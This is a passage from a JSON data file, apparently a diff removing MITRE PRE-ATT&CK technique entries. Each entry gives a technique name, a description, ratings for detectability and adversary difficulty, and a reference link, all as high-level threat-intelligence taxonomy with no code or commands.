cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: If the application and network are designed well, the defender should be able to utilize logging and application logic to catch and deflect SQL injection attacks.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Launching a SQL injection attack is not overly complex and a commonly used technique. This technique, however, requires finding a vulnerable application.", - "value": "Exploit public-facing application - PRE-T1154", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1154" - ] - }, - "uuid": "8a64f743-acaa-49d5-9d3d-ae5616a3876f" - }, - { - "description": "Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Assess KITs/KIQs benefits - PRE-T1006", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1006" - ] - }, - "uuid": "ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5" - }, - { - "description": "Obfuscation is hiding the day-to-day building and testing of new tools, chat servers, etc. (Citation: DellComfooMasters)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: While possible to detect given a significant sample size, depending on how the unique identifier is used detection may be difficult as similar patterns may be employed elsewhere (e.g., content hosting providers, account reset URLs).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: An adversary can easily generate pseudo-random identifiers to associate with a specific target, include the indicator as part of a URL and then identify which target was successful.", - "value": "Obfuscate operational infrastructure - PRE-T1095", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1095" - ] - }, - "uuid": "9d234df0-2344-4db4-bc0f-8de9c6c071a7" - }, - { - "description": "Malware may perform differently on different platforms (computer vs handheld) and different operating systems ([http://www.ubuntu.com Ubuntu] vs [http://www.apple.com/osx/ OS X]), and versions ([http://windows.microsoft.com Windows] 7 vs 10) so malicious actors will test their malware in the environment(s) where they most expect it to be executed. (Citation: BypassMalwareDefense)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary controls the test and defender likely has no visibility.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Adversary can simulate most environments (e.g., variable operating systems, patch levels, application versions) with details available from other techniques.", - "value": "Test malware in various execution environments - PRE-T1134", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1134" - ] - }, - "uuid": "e042a41b-5ecf-4f3a-8f1f-1b528c534772" - }, - { - "description": "Determining if a \"corporate\" help desk exists, the degree of access and control it has, and whether there are \"edge\" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo a research process to learn the internal workings of an organization. An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners.", - "value": "Determine centralization of IT management - PRE-T1062", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1062" - ] - }, - "uuid": "a7dff5d5-99f9-4a7e-ac54-a64113c28121" - }, - { - "description": "An adversary can test physical access options in preparation for the actual attack. This could range from observing behaviors and noting security precautions to actually attempting access. (Citation: OCIAC Pre Incident Indicators) (Citation: NewsAgencySpy)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defender often install badging, cameras, security guards or other detection techniques for physical security and monitoring.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires a physical presence in the space being entered and increased risk of being detected/detained (e.g., recorded on video camera)", - "value": "Test physical access - PRE-T1137", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1137" - ] - }, - "uuid": "18bfa01c-9fa9-409f-91f5-4a2822609d81" - }, - { - "description": "Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an signed piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms", - "value": "Acquire or compromise 3rd party signing certificates - PRE-T1087", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1087" - ] - }, - "uuid": "e5164428-03ca-4336-a9a7-4d9ea1417e59" - }, - { - "description": "Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Assess leadership areas of interest - PRE-T1001", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1001" - ] - }, - "uuid": "d3999268-740f-467e-a075-c82e2d04be62" - }, - { - "description": "Client configurations information such as the operating system and web browser, along with additional information such as version or language, are often transmitted as part of web browsing communications. This can be accomplished in several ways including use of a compromised web site to collect details on visiting computers. (Citation: UnseenWorldOfCookies) (Citation: Panopticlick)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Typical information collected as part of accessing web sites (e.g., operating system, browser version, basic configurations).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Basic web scripting capability to collect information of interest on users of interest. Requires a compromised web site and the users of interest to navigate there.", - "value": "Enumerate client configurations - PRE-T1039", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1039" - ] - }, - "uuid": "78ae433b-289d-4c8d-b8c1-f8de0b7f9090" - }, - { - "description": "Every domain registrar maintains a publicly viewable database that displays contact information for every registered domain. Private 'whois' services display alternative information, such as their own company data, rather than the owner of the domain. (Citation: APT1)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Algorithmically possible to detect COTS service usage or use of non-specific mailing addresses (PO Boxes, drop sites, etc.)\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commercially available or easy to set up and/or register using a disposable email account.", - "value": "Private whois services - PRE-T1082", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1082" - ] - }, - "uuid": "3160347f-11ac-44a3-9640-a648b3c17a8f" - }, - { - "description": "Once generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Assign KITs, KIQs, and/or intelligence requirements - PRE-T1015", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1015" - ] - }, - "uuid": "4fad17d3-8f42-449d-ac4b-dbb4c486127d" - }, - { - "description": "Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an adversary to undergo an intensive research process. It is resource intensive or requires special data access. May be easier for certain specialty use cases.", - "value": "Identify groups/roles - PRE-T1047", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1047" - ] - }, - "uuid": "89a79d91-53e0-4ef5-ba28-558cb8b01f76" - }, - { - "description": "After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary will likely use code repositories, but development will be performed on their local systems.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Post compromise tool development is a standard part of the adversary's protocol in developing the necessary tools required to completely conduct an attack.", - "value": "Post compromise tool development - PRE-T1130", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1130" - ] - }, - "uuid": "df42286d-dfbd-4455-bc9d-aef52ac29aa7" - }, - { - "description": "There is usually a delay between when a vulnerability or exploit is discovered and when it is made public. An adversary may target the systems of those known to research vulnerabilities in order to gain that knowledge for use during a different attack. (Citation: TempertonDarkHotel)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: The compromise of unknown vulnerabilities would provide little attack and warning against a defender, rendering it highly challenging to detect.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Finding, attacking, and compromising a 3rd party or closed vulnerability entity is challenging, because those containing the vulnerabilities should be very aware of attacks on their environments have a heightened awareness.", - "value": "Compromise 3rd party or closed-source vulnerability/exploit information - PRE-T1131", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1131" - ] - }, - "uuid": "5a68c603-d7f9-4535-927e-ab56819eaa85" - }, - { - "description": "Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes", - "value": "Acquire OSINT data sets and information - PRE-T1024", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1024" - ] - }, - "uuid": "784ff1bc-1483-41fe-a172-4cd9ae25c06b" - }, - { - "description": "A wide variety of 3rd party software services are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: 3rd party services like these listed are freely available.", - "value": "Acquire and/or use 3rd party software services - PRE-T1085", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1085" - ] - }, - "uuid": "1a295f87-af63-4d94-b130-039d6221fb11" - }, - { - "description": "Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Current commercial tools and sensitive analytics can be used to detect communications to command and control servers or data exfiltration.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Certainty of the confirmation of compromise is not guaranteed unless the adversary sees communication to a command and control server, exfiltration of data, or an intended effect occur.", - "value": "Confirmation of launched compromise achieved - PRE-T1160", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1160" - ] - }, - "uuid": "f4c5d1d9-8f0e-46f1-a9fa-f9a440926046" - }, - { - "description": "Job postings, on either company sites, or in other forums, provide information on organizational structure and often provide contact information for someone within the organization. This may give an adversary information on people within the organization which could be valuable in social engineering attempts. (Citation: JobPostingThreat)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes", - "value": "Identify job postings and needs/gaps - PRE-T1044", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1044" - ] - }, - "uuid": "0722cd65-0c83-4c89-9502-539198467ab1" - }, - { - "description": "Social Engineering is the practice of manipulating people in order to get them to divulge information or take an action. Human Intelligence (HUMINT) is intelligence collected and provided by human sources. (Citation: 17millionScam) (Citation: UbiquityEmailScam)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Assuming an average company does not train its employees to be aware of social engineering techniques, it is not possible to detect the adversary's use unless a highly motivated or paranoid employee informs security. This assessment flips to a 1 in cases of environments where security trains employees to be vigilant or in specialized industries where competitive intelligence and business intelligence train employees to be highly aware. Most likely more complex for an adversary to detect as methods move to physical or non traditionally monitored mechanisms (such as phone calls outside of call centers). Furthermore, the content of such an interaction may be lost due to lack of collection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Assuming an average adversary whose focus is social engineering, it is not difficult for an adversary. Assuming a HUMINT operation and specialized circumstances, the adversary difficulty becomes 1. Social engineering can be easily done remotely via email or phone. In contrast, HUMINT operations typically would require physical contact at some point in the process, increasing the difficulty.", - "value": "Conduct social engineering or HUMINT operation - PRE-T1153", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1153" - ] - }, - "uuid": "b79a1960-d0be-4b51-bb62-b27e91e1dea0" - }, - { - "description": "A wide variety of 3rd party software services are available (e.g., [https://twitter.com Twitter], [https://www.dropbox.com Dropbox], [https://www.google.com/docs/about/ GoogleDocs]). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility over account creation for 3rd party software services.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: 3rd party services like these listed are freely available.", - "value": "Acquire and/or use 3rd party software services - PRE-T1107", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1107" - ] - }, - "uuid": "488da8ed-2887-4ef6-a39a-5b69bc6682c6" - }, - { - "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: OSFingerprinting2014)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Analyze network traffic to determine security filtering policies, packets dropped, etc.", - "value": "Analyze hardware/software security defensive capabilities - PRE-T1071", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1071" - ] - }, - "uuid": "a1e8d61b-22e1-4983-8485-96420152ecd8" - }, - { - "description": "Dynamic DNS is a automated method to rapidly update the domain name system mapping of hostnames to IPs. (Citation: FireEyeSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not know at first use what is valid or hostile traffic without more context.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is relatively easy to subscribe to dynamic DNS providers or find ways to get different IP addresses from a cloud provider.", - "value": "Dynamic DNS - PRE-T1110", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1110" - ] - }, - "uuid": "54eb2bab-125f-4d1c-b999-0c692860bafe" - }, - { - "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Public source external to the defender's organization.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Many public sources exist for this information.", - "value": "Discover new exploits and monitor exploit-provider forums - PRE-T1127", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1127" - ] - }, - "uuid": "82bbd209-f516-45e0-9542-4ffbbc2a8717" - }, - { - "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: It is relatively easy and low cost to purchase compromised credentials. Mining social media sites offers open source information about a particular target. Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media.", - "value": "Choose pre-compromised persona and affiliated accounts - PRE-T1120", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1120" - ] - }, - "uuid": "9a8c47f6-ae69-4044-917d-4b1602af64d9" - }, - { - "description": "Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This activity is indistinguishable from legitimate business uses and easy to obtain.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs).", - "value": "Acquire OSINT data sets and information - PRE-T1043", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1043" - ] - }, - "uuid": "2b9a666e-bd59-4f67-9031-ed41b428e04a" - }, - { - "description": "The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Common defenses protecting against poor OPSEC practices are traditionally more policy-based in nature rather than technical. Policy-based mitigations are generally more difficult to enforce and track violations, making it more difficult that this technique can be detected by common defenses.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Specialty cases enable an adversary to use key words in order to search social media and identify personnel with poor OPSEC practices who may have access to specialized information which would make them a target of interest. In addition, the open nature of social media leads to a tendency among individuals to overshare, encouraging poor OPSEC and increasing the ease by which an adversary can identify interesting targets.", - "value": "Identify people of interest - PRE-T1046", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1046" - ] - }, - "uuid": "0c0f075b-5d69-43f2-90df-d9ad18f44624" - }, - { - "description": "Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEgg)Wikipedia (Citation: KGBComputerMe)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This is not easily performed remotely and therefore not a detectable event. If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Determining trust relationships once internal to a network is trivial. Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks.\n\nIf completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone. \n\nWith no other access, this is hard for an adversary to do completely from a remote vantage point.", - "value": "Determine external network trust dependencies - PRE-T1036", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1036" - ] - }, - "uuid": "a2fc93cd-e371-4755-9305-2615b6753d91" - }, - { - "description": "An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", - "value": "Determine strategic target - PRE-T1018", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1018" - ] - }, - "uuid": "91a3735f-817a-4450-8ed4-f05a0f5c3877" - }, - { - "description": "Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: This can be done offline after the data has been collected.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Job postings and hiring requisitions have to be made public for contractors and many times have the name of the organization being supported. In addition, they outline the skills needed to do a particular job, which can provide insight into the technical structure and organization of a target.", - "value": "Analyze organizational skillsets and deficiencies - PRE-T1066", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1066" - ] - }, - "uuid": "092f05e3-f7c0-4cd2-91be-3a8d6ed3cadc" - }, - { - "description": "If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", - "value": "Determine operational element - PRE-T1019", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1019" - ] - }, - "uuid": "c860af4a-376e-46d7-afbf-262c41012227" - }, - { - "description": "An adversary can test their planned method of attack against existing security products such as email filters or intrusion detection sensors (IDS). (Citation: WiredVirusTotal)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Use of sites like [https://www.virustotal.com VirusTotal] to test signature detection often occurs to test detection. Defender can also look for newly added uploads as a precursor to an adversary's launch of an attack.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Current open source technologies and websites exist to facilitate adversary testing of malware against signatures.", - "value": "Test signature detection for file upload/email filters - PRE-T1138", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1138" - ] - }, - "uuid": "c9ac5715-ee5c-4380-baf4-6f12e304ca93" - }, - { - "description": "From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12 (R)) (Citation: DoD Cyber 2015)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", - "value": "Determine highest level tactical element - PRE-T1020", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1020" - ] - }, - "uuid": "dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9" - }, - { - "description": "A technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)\n\nDetectable by Common Defenses: Yes\n\nDetectable by Common Defenses explanation: Defensive technologies exist to scan web content before delivery to the requested end user. However, this is not foolproof as some sites encrypt web communications and the adversary constantly moves to sites not previously flagged as malicious thus defeating this defense. Host-based defenses can also aid in detection/mitigation as well as detection by the web site that got compromised. The added challenge for a conditional watering hole is the reduced scope and likely reduced ability to detect or be informed. Determining deltas in content (e.g., differences files type/size/number/hashes) downloaded could also aid in detection.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Commonly executed technique to place an exploit on an often widely used public web site intended for driveby delivery. The additional challenge is the reduced set of options for web sites to compromise since the set is reduced to those often visited by targets of interest.", - "value": "Targeted client-side exploitation - PRE-T1148", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1148" - ] - }, - "uuid": "72923cae-6c8c-4da2-8f48-b73389529c25" - }, - { - "description": "Supply chains include the people, processes, and technologies used to move a product or service from a supplier to a consumer. Understanding supply chains may provide an adversary with opportunities to exploit the people, their positions, and relationships, that are part of the supply chain. (Citation: SmithSupplyChain) (Citation: CERT-UKSupplyChain)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Searching publicly available sources that cannot be monitored by a defender.\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Requires an intensive process to obtain the full picture. It is possible to obtain basic information/some aspects via OSINT. May be easier in certain industries where there are a limited number of suppliers (e.g., SCADA).", - "value": "Identify supply chains - PRE-T1042", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1042" - ] - }, - "uuid": "59369f72-3005-4e54-9095-3d00efcece73" - }, - { - "description": "An adversary needs the necessary skills to set up procured equipment and software to create their desired infrastructure. (Citation: KasperskyRedOctober)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Skills are common to majority of computer scientists and \"hackers\". Can be easily obtained through contracting if not organic to adversary's organization.", - "value": "Install and configure hardware, network, and systems - PRE-T1113", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1113" - ] - }, - "uuid": "73e394e5-3d8a-40d1-ab8c-a1b4ea9db424" - }, - { - "description": "Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Techniques are difficult to detect and might occur in uncommon use-cases (e.g., patching, anti-malware, anti-exploitation software).\n\nDifficulty for the Adversary: No\n\nDifficulty for the Adversary explanation: Some of the host-based hiding techniques require advanced knowledge combined with an understanding and awareness of the target's environment (e.g., exploiting weaknesses in file formats, parsers and detection capabilities).", - "value": "Host-based hiding techniques - PRE-T1091", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1091" - ] - }, - "uuid": "6f088e84-37b2-44de-8df3-393908f2d77b" - }, - { - "description": "Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Most corporations now list their locations on public facing websites. Some challenge still exists to find covert or sensitive locations.", - "value": "Determine physical locations - PRE-T1059", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1059" - ] - }, - "uuid": "2011ffeb-8003-41ef-b962-9d1cbfa35e6d" - }, - { - "description": "Leadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)\n\nDetectable by Common Defenses: No\n\nDifficulty for the Adversary: Yes", - "value": "Conduct cost/benefit analysis - PRE-T1003", - "meta": { - "refs": [ - "https://attack.mitre.org/pre-attack/index.php/Technique/PRE-T1003" - ] - }, - "uuid": "51bca707-a806-49bf-91e0-03885b0ac85c" - }, - { - "description": "Applicable agencies and/or personnel receive intelligence requirements and evaluate them to determine sub-requirements related to topics, questions, or requirements. For example, an adversary's nuclear energy requirements may be further divided into nuclear facilities versus nuclear warhead capabilities. (Citation: AnalystsAndPolicymaking)\n\nDetectable by Common Defenses: No\n\nDetectable by Common Defenses explanation: Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.\n\nDifficulty for the Adversary: Yes\n\nDifficulty for the Adversary explanation: Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", - "value": "Receive KITs/KIQs and determine requirements - PRE-T1016", - "meta": { - "refs": [ - 